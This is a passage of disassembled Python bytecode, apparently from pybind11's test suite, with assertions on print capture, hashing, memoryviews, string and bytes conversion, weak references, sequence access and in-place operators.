'l' BINARY_SUBSCR LOAD_CONST 3 LOAD_CONST 6 LOAD_CONST 9 LOAD_CONST 12 LOAD_CONST 15 BUILD_LIST COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST capture SETUP_WITH to 18 POP_TOP LOAD_GLOBAL m LOAD_METHOD print_function CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_FAST capture LOAD_CONST '\n Hello, World!\n 1 2.0 three True -- multiple args\n *args-and-a-custom-separator\n no new line here -- next print\n flush\n py::print + str.format = this\n ' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST capture LOAD_ATTR stderr LOAD_CONST 'this goes to stderr' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL RuntimeError CALL_METHOD SETUP_WITH to 74 STORE_FAST excinfo LOAD_GLOBAL m LOAD_METHOD print_failure CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL str LOAD_FAST excinfo LOAD_ATTR value CALL_FUNCTION LOAD_CONST 'Unable to convert call argument ' LOAD_GLOBAL detailed_error_messages_enabled POP_JUMP_IF_FALSE LOAD_CONST "'1' of type 'UnregisteredType' to Python object" JUMP_FORWARD to 100 LOAD_CONST "'1' to Python object (#define PYBIND11_DETAILED_ERROR_MESSAGES or compile in debug mode for details)" BINARY_ADD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object Hashable at 0x7faad43c0f60, file "f.py", line 554> LOAD_CONST 'Hashable' MAKE_FUNCTION LOAD_CONST 'Hashable' CALL_FUNCTION STORE_FAST Hashable LOAD_BUILD_CLASS LOAD_CONST <code object Unhashable at 0x7faac027c030, file "f.py", line 561> LOAD_CONST 'Unhashable' MAKE_FUNCTION LOAD_CONST 'Unhashable' CALL_FUNCTION STORE_FAST Unhashable LOAD_GLOBAL m LOAD_METHOD hash_function LOAD_FAST Hashable LOAD_CONST 42 CALL_FUNCTION CALL_METHOD LOAD_CONST 42 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 78 POP_TOP LOAD_GLOBAL m LOAD_METHOD hash_function LOAD_FAST Unhashable CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_hash.<locals>.Hashable' STORE_NAME __qualname__ LOAD_CONST <code object __init__ at 0x7faad43c0810, file "f.py", line 555> LOAD_CONST 'test_hash.<locals>.Hashable.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object __hash__ at 0x7faad43c0ae0, file "f.py", line 558> LOAD_CONST 'test_hash.<locals>.Hashable.__hash__' MAKE_FUNCTION STORE_NAME __hash__ LOAD_CONST None RETURN_VALUE LOAD_FAST value LOAD_FAST self STORE_ATTR value LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR value RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_hash.<locals>.Unhashable' STORE_NAME __qualname__ LOAD_CONST None STORE_NAME __hash__ LOAD_CONST None RETURN_VALUE SETUP_LOOP to 132 LOAD_CONST ((1, 1), (3, 5)) GET_ITER FOR_ITER to 130 UNPACK_SEQUENCE STORE_FAST a STORE_FAST b LOAD_FAST a LOAD_FAST b COMPARE_OP == LOAD_FAST a LOAD_FAST b COMPARE_OP != LOAD_FAST a LOAD_FAST b COMPARE_OP < LOAD_FAST a LOAD_FAST b COMPARE_OP <= LOAD_FAST a LOAD_FAST b COMPARE_OP > LOAD_FAST a LOAD_FAST b COMPARE_OP >= LOAD_FAST a LOAD_FAST b BINARY_ADD LOAD_FAST a LOAD_FAST b BINARY_SUBTRACT LOAD_FAST a LOAD_FAST b BINARY_MULTIPLY LOAD_FAST a LOAD_FAST b BINARY_TRUE_DIVIDE LOAD_FAST a LOAD_FAST b BINARY_OR LOAD_FAST a LOAD_FAST b BINARY_AND LOAD_FAST a LOAD_FAST b BINARY_XOR LOAD_FAST a LOAD_FAST b BINARY_RSHIFT LOAD_FAST a LOAD_FAST b BINARY_LSHIFT BUILD_LIST STORE_FAST li LOAD_GLOBAL m LOAD_METHOD test_number_protocol LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST li COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_ABSOLUTE POP_BLOCK LOAD_CONST None RETURN_VALUE LOAD_GLOBAL list LOAD_GLOBAL range LOAD_CONST 100 CALL_FUNCTION CALL_FUNCTION STORE_FAST li LOAD_FAST li LOAD_CONST None LOAD_CONST None LOAD_CONST 2 BUILD_SLICE BINARY_SUBSCR LOAD_GLOBAL m LOAD_METHOD test_list_slicing LOAD_FAST li CALL_METHOD COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD issue2361_str_implicit_copy_none CALL_METHOD LOAD_CONST 'None' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 44 STORE_FAST excinfo LOAD_GLOBAL m LOAD_METHOD issue2361_dict_implicit_copy_none CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST 'NoneType' LOAD_GLOBAL str LOAD_FAST excinfo LOAD_ATTR value CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST 'iterable' LOAD_GLOBAL str LOAD_FAST excinfo LOAD_ATTR value CALL_FUNCTION COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST method LOAD_FAST args CALL_FUNCTION STORE_FAST view LOAD_GLOBAL isinstance LOAD_FAST view LOAD_GLOBAL memoryview CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST view LOAD_ATTR format LOAD_FAST fmt COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL list LOAD_FAST view CALL_FUNCTION LOAD_GLOBAL list LOAD_FAST expected_view CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST b'\n\x0b\x0c\r' STORE_FAST buf LOAD_GLOBAL sys LOAD_METHOD getrefcount LOAD_FAST buf CALL_METHOD STORE_FAST ref_before LOAD_FAST method LOAD_FAST buf CALL_FUNCTION STORE_FAST view LOAD_GLOBAL sys LOAD_METHOD getrefcount LOAD_FAST buf CALL_METHOD STORE_FAST ref_after LOAD_FAST ref_before LOAD_FAST ref_after COMPARE_OP < POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL list LOAD_FAST view CALL_FUNCTION LOAD_GLOBAL list LOAD_FAST buf CALL_FUNCTION COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD test_memoryview_from_buffer_empty_shape CALL_METHOD STORE_FAST view LOAD_GLOBAL isinstance LOAD_FAST view LOAD_GLOBAL memoryview CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST view LOAD_ATTR format LOAD_CONST 'B' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL bytes LOAD_FAST view CALL_FUNCTION LOAD_CONST b'' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL RuntimeError CALL_METHOD SETUP_WITH to 24 POP_TOP LOAD_GLOBAL m LOAD_METHOD test_memoryview_from_buffer_invalid_strides CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL ValueError CALL_METHOD SETUP_WITH to 24 POP_TOP LOAD_GLOBAL m LOAD_METHOD test_memoryview_from_buffer_nullptr CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD test_memoryview_from_memory CALL_METHOD STORE_FAST view LOAD_GLOBAL isinstance LOAD_FAST view LOAD_GLOBAL memoryview CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST view LOAD_ATTR format LOAD_CONST 'B' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL bytes LOAD_FAST view CALL_FUNCTION LOAD_CONST b'\xff\xe1\xab7' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD get_len LOAD_GLOBAL list LOAD_GLOBAL range LOAD_CONST 42 CALL_FUNCTION CALL_FUNCTION CALL_METHOD LOAD_CONST 42 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 66 STORE_FAST exc_info LOAD_GLOBAL m LOAD_METHOD get_len LOAD_CONST <code object <genexpr> at 0x7faac027c660, file "f.py", line 665> LOAD_CONST 'test_builtin_functions.<locals>.<genexpr>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_CONST 42 CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL str LOAD_FAST exc_info LOAD_ATTR value CALL_FUNCTION LOAD_CONST ("object of type 'generator' has no len()", "'generator' has no length") COMPARE_OP in POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST .0 FOR_ITER to 14 STORE_FAST i LOAD_FAST i YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD isinstance_pybind11_bytes LOAD_CONST b'' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD isinstance_pybind11_bytes LOAD_CONST '' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD isinstance_pybind11_str LOAD_CONST '' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL hasattr LOAD_GLOBAL m LOAD_CONST 'PYBIND11_STR_LEGACY_PERMISSIVE' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL m LOAD_METHOD isinstance_pybind11_str LOAD_CONST b'' CALL_METHOD POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 82 LOAD_GLOBAL m LOAD_METHOD isinstance_pybind11_str LOAD_CONST b'' CALL_METHOD POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD pass_to_pybind11_bytes LOAD_CONST b'Bytes' CALL_METHOD LOAD_CONST 5 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 44 POP_TOP LOAD_GLOBAL m LOAD_METHOD pass_to_pybind11_bytes LOAD_CONST 'Str' CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL hasattr LOAD_GLOBAL m LOAD_CONST 'PYBIND11_STR_LEGACY_PERMISSIVE' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL m LOAD_METHOD pass_to_pybind11_str LOAD_CONST b'Bytes' CALL_METHOD LOAD_CONST 5 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 112 LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 106 POP_TOP LOAD_GLOBAL m LOAD_METHOD pass_to_pybind11_str LOAD_CONST b'Bytes' CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL m LOAD_METHOD pass_to_pybind11_str LOAD_CONST 'Str' CALL_METHOD LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD pass_to_std_string LOAD_CONST b'Bytes' CALL_METHOD LOAD_CONST 5 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD pass_to_std_string LOAD_CONST 'Str' CALL_METHOD LOAD_CONST 3 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST b'\x80' STORE_FAST malformed_utf8 LOAD_GLOBAL hasattr LOAD_GLOBAL m LOAD_CONST 'PYBIND11_STR_LEGACY_PERMISSIVE' CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL m LOAD_METHOD pass_to_pybind11_str LOAD_FAST malformed_utf8 CALL_METHOD LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS JUMP_FORWARD to 232 LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD SETUP_WITH to 226 POP_TOP LOAD_GLOBAL m LOAD_METHOD pass_to_pybind11_str LOAD_FAST malformed_utf8 CALL_METHOD POP_TOP POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_CONST 0 LOAD_CONST ('getweakrefcount',) IMPORT_NAME weakref IMPORT_FROM getweakrefcount STORE_FAST getweakrefcount POP_TOP LOAD_BUILD_CLASS LOAD_CONST <code object WeaklyReferenced at 0x7faac027c8a0, file "f.py", line 716> LOAD_CONST 'WeaklyReferenced' MAKE_FUNCTION LOAD_CONST 'WeaklyReferenced' CALL_FUNCTION STORE_FAST WeaklyReferenced LOAD_CONST False STORE_DEREF callback_called LOAD_CLOSURE callback_called BUILD_TUPLE LOAD_CONST <code object callback at 0x7faac027c9c0, file "f.py", line 721> LOAD_CONST 'test_weakref.<locals>.callback' MAKE_FUNCTION STORE_FAST callback LOAD_FAST WeaklyReferenced CALL_FUNCTION STORE_FAST obj LOAD_FAST getweakrefcount LOAD_FAST obj CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST create_weakref LOAD_FAST obj CALL_FUNCTION STORE_FAST wr LOAD_FAST getweakrefcount LOAD_FAST obj CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST WeaklyReferenced CALL_FUNCTION STORE_FAST obj LOAD_FAST getweakrefcount LOAD_FAST obj CALL_FUNCTION LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST create_weakref_with_callback LOAD_FAST obj LOAD_FAST callback CALL_FUNCTION STORE_FAST wr LOAD_FAST getweakrefcount LOAD_FAST obj CALL_FUNCTION LOAD_CONST 1 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_DEREF callback_called POP_JUMP_IF_FALSE LOAD_GLOBAL AssertionError RAISE_VARARGS DELETE_FAST obj LOAD_GLOBAL pytest LOAD_METHOD gc_collect CALL_METHOD POP_TOP LOAD_DEREF callback_called POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_weakref.<locals>.WeaklyReferenced' STORE_NAME __qualname__ LOAD_CONST None RETURN_VALUE LOAD_CONST True STORE_DEREF callback_called LOAD_CONST None RETURN_VALUE LOAD_BUILD_CLASS LOAD_CONST <code object C at 0x7faac027cae0, file "f.py", line 750> LOAD_CONST 'C' MAKE_FUNCTION LOAD_CONST 'C' CALL_FUNCTION STORE_FAST C LOAD_CONST <code object callback at 0x7faac027cb70, file "f.py", line 753> LOAD_CONST 'test_weakref_err.<locals>.callback' MAKE_FUNCTION STORE_FAST callback LOAD_FAST C CALL_FUNCTION STORE_FAST ob LOAD_GLOBAL env LOAD_ATTR PYPY POP_JUMP_IF_TRUE LOAD_GLOBAL pytest LOAD_METHOD raises LOAD_GLOBAL TypeError CALL_METHOD JUMP_FORWARD to 50 LOAD_GLOBAL contextlib LOAD_METHOD nullcontext CALL_METHOD SETUP_WITH to 80 POP_TOP LOAD_FAST has_callback POP_JUMP_IF_FALSE LOAD_FAST create_weakref LOAD_FAST ob LOAD_FAST callback CALL_FUNCTION JUMP_FORWARD to 74 LOAD_FAST create_weakref LOAD_FAST ob CALL_FUNCTION STORE_FAST _ POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'test_weakref_err.<locals>.C' STORE_NAME __qualname__ BUILD_LIST STORE_NAME __slots__ LOAD_CONST None RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD tuple_iterator CALL_METHOD LOAD_CONST 12 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD dict_iterator CALL_METHOD LOAD_CONST 1016 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD passed_iterator LOAD_GLOBAL iter LOAD_CONST (-7, 3) CALL_FUNCTION CALL_METHOD LOAD_CONST -4 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 39 LOAD_CONST 43 LOAD_CONST 92 LOAD_CONST 49 LOAD_CONST 22 LOAD_CONST 29 LOAD_CONST 93 LOAD_CONST 98 LOAD_CONST 26 LOAD_CONST 57 LOAD_CONST 8 BUILD_LIST STORE_FAST lst LOAD_GLOBAL tuple LOAD_FAST lst CALL_FUNCTION STORE_FAST tup LOAD_GLOBAL m LOAD_METHOD sequence_item_get_ssize_t LOAD_FAST lst CALL_METHOD LOAD_CONST 43 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD sequence_item_set_ssize_t LOAD_FAST lst CALL_METHOD LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lst LOAD_CONST 1 BINARY_SUBSCR LOAD_CONST 'peppa' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD sequence_item_get_size_t LOAD_FAST lst CALL_METHOD LOAD_CONST 92 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD sequence_item_set_size_t LOAD_FAST lst CALL_METHOD LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lst LOAD_CONST 2 BINARY_SUBSCR LOAD_CONST 'george' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD list_item_get_ssize_t LOAD_FAST lst CALL_METHOD LOAD_CONST 49 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD list_item_set_ssize_t LOAD_FAST lst CALL_METHOD LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lst LOAD_CONST 3 BINARY_SUBSCR LOAD_CONST 'rebecca' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD list_item_get_size_t LOAD_FAST lst CALL_METHOD LOAD_CONST 22 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD list_item_set_size_t LOAD_FAST lst CALL_METHOD LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_FAST lst LOAD_CONST 4 BINARY_SUBSCR LOAD_CONST 'richard' COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD tuple_item_get_ssize_t LOAD_FAST tup CALL_METHOD LOAD_CONST 29 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD tuple_item_set_ssize_t CALL_METHOD LOAD_CONST ('emely', 'edmond') COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD tuple_item_get_size_t LOAD_FAST tup CALL_METHOD LOAD_CONST 93 COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL m LOAD_METHOD tuple_item_set_size_t CALL_METHOD LOAD_CONST ('candy', 'cat') COMPARE_OP == EXTENDED_ARG POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_GLOBAL m LOAD_METHOD square_float_ LOAD_CONST 2.0 CALL_METHOD STORE_FAST r1 LOAD_FAST r1 LOAD_CONST 4.0 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_CONST 1000 STORE_FAST pop LOAD_GLOBAL tuple LOAD_GLOBAL range LOAD_FAST pop CALL_FUNCTION CALL_FUNCTION STORE_FAST tup LOAD_GLOBAL m LOAD_METHOD tuple_rvalue_getter LOAD_FAST tup CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 1000 STORE_FAST pop LOAD_GLOBAL list LOAD_GLOBAL range LOAD_FAST pop CALL_FUNCTION CALL_FUNCTION STORE_FAST my_list LOAD_GLOBAL m LOAD_METHOD list_rvalue_getter LOAD_FAST my_list CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST 1000 STORE_FAST pop LOAD_CONST <code object <dictcomp> at 0x7faac027cf60, file "f.py", line 807> LOAD_CONST 'test_populate_dict_rvalue.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_FAST pop CALL_FUNCTION GET_ITER CALL_FUNCTION STORE_FAST my_dict LOAD_GLOBAL m LOAD_METHOD populate_dict_rvalue LOAD_FAST pop CALL_METHOD LOAD_FAST my_dict COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 16 STORE_FAST i LOAD_FAST i LOAD_FAST i MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_CONST 1000 STORE_FAST pop LOAD_GLOBAL types LOAD_ATTR SimpleNamespace BUILD_TUPLE LOAD_CONST <code object <dictcomp> at 0x7fab417110c0, file "f.py", line 813> LOAD_CONST 'test_populate_obj_str_attrs.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_GLOBAL range LOAD_FAST pop CALL_FUNCTION GET_ITER CALL_FUNCTION CALL_FUNCTION STORE_FAST o LOAD_GLOBAL m LOAD_METHOD populate_obj_str_attrs LOAD_FAST o LOAD_FAST pop CALL_METHOD STORE_FAST new_o LOAD_CONST <code object <dictcomp> at 0x7fab41711150, file "f.py", line 815> LOAD_CONST 'test_populate_obj_str_attrs.<locals>.<dictcomp>' MAKE_FUNCTION LOAD_FAST new_o LOAD_ATTR __dict__ LOAD_METHOD items CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST new_attrs LOAD_GLOBAL all LOAD_CONST <code object <genexpr> at 0x7fab417111e0, file "f.py", line 816> LOAD_CONST 'test_populate_obj_str_attrs.<locals>.<genexpr>' MAKE_FUNCTION LOAD_FAST new_attrs LOAD_METHOD values CALL_METHOD GET_ITER CALL_FUNCTION CALL_FUNCTION POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_GLOBAL len LOAD_FAST new_attrs CALL_FUNCTION LOAD_FAST pop COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 20 STORE_FAST i LOAD_FAST i LOAD_GLOBAL str LOAD_FAST i CALL_FUNCTION MAP_ADD JUMP_ABSOLUTE RETURN_VALUE BUILD_MAP LOAD_FAST .0 FOR_ITER to 30 UNPACK_SEQUENCE STORE_FAST k STORE_FAST v LOAD_FAST k LOAD_METHOD startswith LOAD_CONST '_' CALL_METHOD POP_JUMP_IF_TRUE LOAD_FAST v LOAD_FAST k MAP_ADD JUMP_ABSOLUTE RETURN_VALUE LOAD_FAST .0 FOR_ITER to 20 STORE_FAST v LOAD_GLOBAL isinstance LOAD_FAST v LOAD_GLOBAL str CALL_FUNCTION YIELD_VALUE POP_TOP JUMP_ABSOLUTE LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_ADD STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD inplace_append LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_SUBTRACT STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD inplace_subtract LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_MULTIPLY STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD inplace_multiply LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_TRUE_DIVIDE STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD inplace_divide LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_OR STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD inplace_or LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL AssertionError RAISE_VARARGS LOAD_CONST None RETURN_VALUE LOAD_FAST a LOAD_FAST b BINARY_AND STORE_FAST expected LOAD_GLOBAL m LOAD_METHOD inplace_and LOAD_FAST a LOAD_FAST b CALL_METHOD LOAD_FAST expected COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL 